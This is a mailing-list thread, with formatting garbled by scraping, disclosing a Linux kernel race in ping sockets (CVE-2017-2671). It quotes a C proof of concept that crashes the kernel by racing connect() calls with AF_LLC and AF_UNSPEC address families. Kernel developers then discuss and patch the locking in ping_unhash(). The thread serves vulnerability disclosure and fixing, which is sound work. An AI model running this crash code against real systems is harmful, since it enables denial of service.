Linux kernel ping socket / AF_LLC connect() sin_family race
Subsystems (2)
Quoted 6 lines · Solar Designer
Hi,
I haven't fully investigated this issue, and the Subject is provisional (but will probably get stuck). I am not yet sure which kernel subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and there might be other ways to trigger the issue.
Reproduced the crash on current upstream
(ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).
Adding kernel maintainers.
Quoted 66 lines
Just off Twitter:
https://twitter.com/danieljiang0415/status/845116665184497664
daniel_jiang
@danieljiang0415
google won't fix kernel crash bug, I release the poc now.
https://github.com/danieljiang0415/android_kernel_crash_pocAnd the PoC is:
---
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
static int sockfd = 0;
static structsockaddr_inaddr = {0};void fuzz(void * param){ while(1){ addr.sin_family = 0;//rand()%42; printf("sin_family1 = %08lx\n", addr.sin_family); connect(sockfd, (struct sockaddr *)&addr, 16); } } int main(int argc, char **argv) { sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); int thrd; pthread_create(&thrd, NULL, fuzz, NULL); while(1){ addr.sin_family = 0x1a;//rand()%42; addr.sin_port = 0; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); connect(sockfd, (struct sockaddr *)&addr, 16); addr.sin_family = 0; } return 0; }---
I suppose the focus on Android is because it makes ping sockets available to users by default, but the bug isn't Android-specific.
By granting ping sockets to a user, I am able to crash a RHEL7'ish system with the above PoC quickly. The crash (at least in my two tests) is a NULL pointer dereference in
net/ipv4/ping.c:ping_v4_unhash(). In newer upstream code, e.g. Linux 4.10.5, the function is renamed toping_unhash()since it's shared with IPv6, but is otherwise similar.The two address families used by the PoC above are
AF_UNSPECandAF_LLC. For the latter,net/llc/af_llc.c:llc_ui_connect()checks forAF_LLCand then proceeds to overwrite parts of the "struct sockaddr".llc_ui_bind()looks similar, so the issue might also be triggerable viabind(). These overwrites might be directly related to the crash, or it might be something further. At first glance, these two functions look similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to trigger the issue on latest upstream as well.At this point, I think I'll leave further investigation to someone more up-to-date on these interfaces and conventions. I am merely conveying the message, which at this point I understand only partially.
Alexander
Quoted 9 lines · Andrey Konovalov
Quoted 6 lines · Solar Designer
Hi,
I haven't fully investigated this issue, and the Subject is provisional (but will probably get stuck). I am not yet sure which kernel subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and there might be other ways to trigger the issue.
Quoted 5 lines
Reproduced the crash on current upstream
(ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e).Adding kernel maintainers.
Looks easy enough to fix ?
net/ipv4/ping.c +0 -0
index 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43 100644
net/ipv4/ping.c +3 -2
@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)void ping_unhash (struct sock *sk) {struct inet_sock *isk =inet_sk (sk); +pr_debug ("ping_unhash(isk=%p,isk->num=%u)\n" , isk, isk->inet_num); +write_lock_bh (&ping_table.lock);if (sk_hashed (sk)) { -write_lock_bh (&ping_table.lock);hlist_nulls_del (&sk->sk_nulls_node);sk_nulls_node_init (&sk->sk_nulls_node);sock_put (sk); isk->inet_num =0 ; isk->inet_sport =0 ;sock_prot_inuse_add (sock_net (sk), sk->sk_prot,-1 ); -write_unlock_bh (&ping_table.lock); } +write_unlock_bh (&ping_table.lock); }EXPORT_SYMBOL_GPL (ping_unhash);
Quoted 1 line · Eric Dumazet
Looks easy enough to fix ?
Oh. Probably. Thanks. Need to test, but I guess you already did?
Quoted 16 lines
net/ipv4/ping.c +0
-0index
2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43100644net/ipv4/ping.c +2
-1@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)void ping_unhash (struct sock *sk) {struct inet_sock *isk =inet_sk (sk); +pr_debug ("ping_unhash(isk=%p,isk->num=%u)\n" , isk, isk->inet_num); +write_lock_bh (&ping_table.lock);if (sk_hashed (sk)) { -write_lock_bh (&ping_table.lock);hlist_nulls_del (&sk->sk_nulls_node);
net/ipv4/ping.c int ping_hash(struct sock *sk) · line 172
Quoted 10 lines
net/ipv4/ping.c +1
-1sk_nulls_node_init (&sk->sk_nulls_node);sock_put (sk); isk->inet_num =0 ; isk->inet_sport =0 ;sock_prot_inuse_add (sock_net (sk), sk->sk_prot,-1 ); -write_unlock_bh (&ping_table.lock); } +write_unlock_bh (&ping_table.lock); }EXPORT_SYMBOL_GPL (ping_unhash);
FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
static void ping_v4_unhash(struct sock *sk)
{
DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num));
write_lock_bh(&ping_hash_lock);
if (sk->pprev) {
if (sk->next)
sk->next->pprev = sk->pprev;
*sk->pprev = sk->next;
sk->pprev = NULL;
sk->num = 0;
sock_prot_dec_use(sk->prot);
__sock_put(sk);
}
write_unlock_bh(&ping_hash_lock);
}Looks like the erroneous optimization (not expecting concurrent activity on the same socket?) was introduced during conversion to 2.6's hlists.
So far this cursed function had 3 bugs, two of them security (including this one) and one probably benign (or if not, then effectively a subset of this bug as it performed some unneeded / stale debugging work before acquiring the lock), with all 3 introduced in forward-porting. Maybe the nature of forward-porting activity makes people relatively inattentive ("compiles with the new interfaces and still works? must be correct"), compared to when writing new code.
Anyhow, I share some responsibility for this mess, for having advocated this patch being forward-ported and merged back then. I still like having this functionality and its userspace security benefits... but I don't like the kernel bugs.
Alexander
Hi,
did anyone request a CVE yet?
Ciao, Marcus
Quoted 68 lines · Solar Designer
Quoted 1 line · Eric Dumazet
Looks easy enough to fix ?
Oh. Probably. Thanks. Need to test, but I guess you already did?
Quoted 16 lines
net/ipv4/ping.c +0
-0index
2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43100644net/ipv4/ping.c +2
-1@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)void ping_unhash (struct sock *sk) {struct inet_sock *isk =inet_sk (sk); +pr_debug ("ping_unhash(isk=%p,isk->num=%u)\n" , isk, isk->inet_num); +write_lock_bh (&ping_table.lock);if (sk_hashed (sk)) { -write_lock_bh (&ping_table.lock);hlist_nulls_del (&sk->sk_nulls_node);net/ipv4/ping.c int ping_hash(struct sock *sk) · line 172
Quoted 10 lines
net/ipv4/ping.c +1
-1sk_nulls_node_init (&sk->sk_nulls_node);sock_put (sk); isk->inet_num =0 ; isk->inet_sport =0 ;sock_prot_inuse_add (sock_net (sk), sk->sk_prot,-1 ); -write_unlock_bh (&ping_table.lock); } +write_unlock_bh (&ping_table.lock); }EXPORT_SYMBOL_GPL (ping_unhash);FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
static void
ping_v4_unhash(struct sock *sk){ DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num)); write_lock_bh(&ping_hash_lock); if (sk->pprev) { if (sk->next) sk->next->pprev = sk->pprev; *sk->pprev = sk->next; sk->pprev = NULL; sk->num = 0; sock_prot_dec_use(sk->prot); __sock_put(sk); } write_unlock_bh(&ping_hash_lock); }Looks like the erroneous optimization (not expecting concurrent activity on the same socket?) was introduced during conversion to 2.6's hlists.
So far this cursed function had 3 bugs, two of them security (including this one) and one probably benign (or if not, then effectively a subset of this bug as it performed some unneeded / stale debugging work before acquiring the lock), with all 3 introduced in forward-porting. Maybe the nature of forward-porting activity makes people relatively inattentive ("compiles with the new interfaces and still works? must be correct"), compared to when writing new code.
Anyhow, I share some responsibility for this mess, for having advocated this patch being forward-ported and merged back then. I still like having this functionality and its userspace security benefits... but I don't like the kernel bugs.
Alexander
Signature · 1 line
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <[email protected]>
Assuming MITRE hasn't had a request for this yet, please use CVE-2017-2671 for this issue.
Quoted 82 lines · Marcus Meissner
Hi,
did anyone request a CVE yet?
Ciao, Marcus
Quoted 8 lines · Solar Designer
Quoted 1 line · Eric Dumazet
Looks easy enough to fix ?
Oh. Probably. Thanks. Need to test, but I guess you already did?
Quoted 3 lines
net/ipv4/ping.c +0
-0index
2af6244b83e27ae384e96cf071c10c5a89674804..
ccfbce13a6333a65dab64e4847dd510dfafb1b43Quoted 9 lines
net/ipv4/ping.c int ping_hash(struct sock *sk) · line 160
Quoted 9 lines
100644
net/ipv4/ping.c +1
-0@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk)void ping_unhash (struct sock *sk) {struct inet_sock *isk =inet_sk (sk); + pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk,
isk->inet_num);Quoted 44 lines
Quoted 4 lines
net/ipv4/ping.c +1
-1+write_lock_bh (&ping_table.lock);if (sk_hashed (sk)) { -write_lock_bh (&ping_table.lock);hlist_nulls_del (&sk->sk_nulls_node);net/ipv4/ping.c int ping_hash(struct sock *sk) · line 172
Quoted 10 lines
net/ipv4/ping.c +1
-1sk_nulls_node_init (&sk->sk_nulls_node);sock_put (sk); isk->inet_num =0 ; isk->inet_sport =0 ;sock_prot_inuse_add (sock_net (sk), sk->sk_prot,-1 ); -write_unlock_bh (&ping_table.lock); } +write_unlock_bh (&ping_table.lock); }EXPORT_SYMBOL_GPL (ping_unhash);FWIW, in Pavel's original implementation for 2.4.32 (unused), this was:
static void
ping_v4_unhash(struct sock *sk){ DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num)); write_lock_bh(&ping_hash_lock); if (sk->pprev) { if (sk->next) sk->next->pprev = sk->pprev; *sk->pprev = sk->next; sk->pprev = NULL; sk->num = 0; sock_prot_dec_use(sk->prot); __sock_put(sk); } write_unlock_bh(&ping_hash_lock); }Looks like the erroneous optimization (not expecting concurrent activity on the same socket?) was introduced during conversion to 2.6's hlists.
So far this cursed function had 3 bugs, two of them security (including this one) and one probably benign (or if not, then effectively a subset of this bug as it performed some unneeded / stale debugging work before acquiring the lock), with all 3 introduced in forward-porting. Maybe the nature of forward-porting activity makes people relatively inattentive ("compiles with the new interfaces and still works? must be correct"), compared to when writing new code.
Quoted 7 lines
Anyhow, I share some responsibility for this mess, for having advocated this patch being forward-ported and merged back then. I still like having this functionality and its userspace security benefits... but I don't like the kernel bugs.
Alexander
--
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real < [email protected]>
Signature · 3 lines
Kurt Seifried -- Red Hat -- Product Security -- Cloud PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993 Red Hat Product Security contact: [email protected]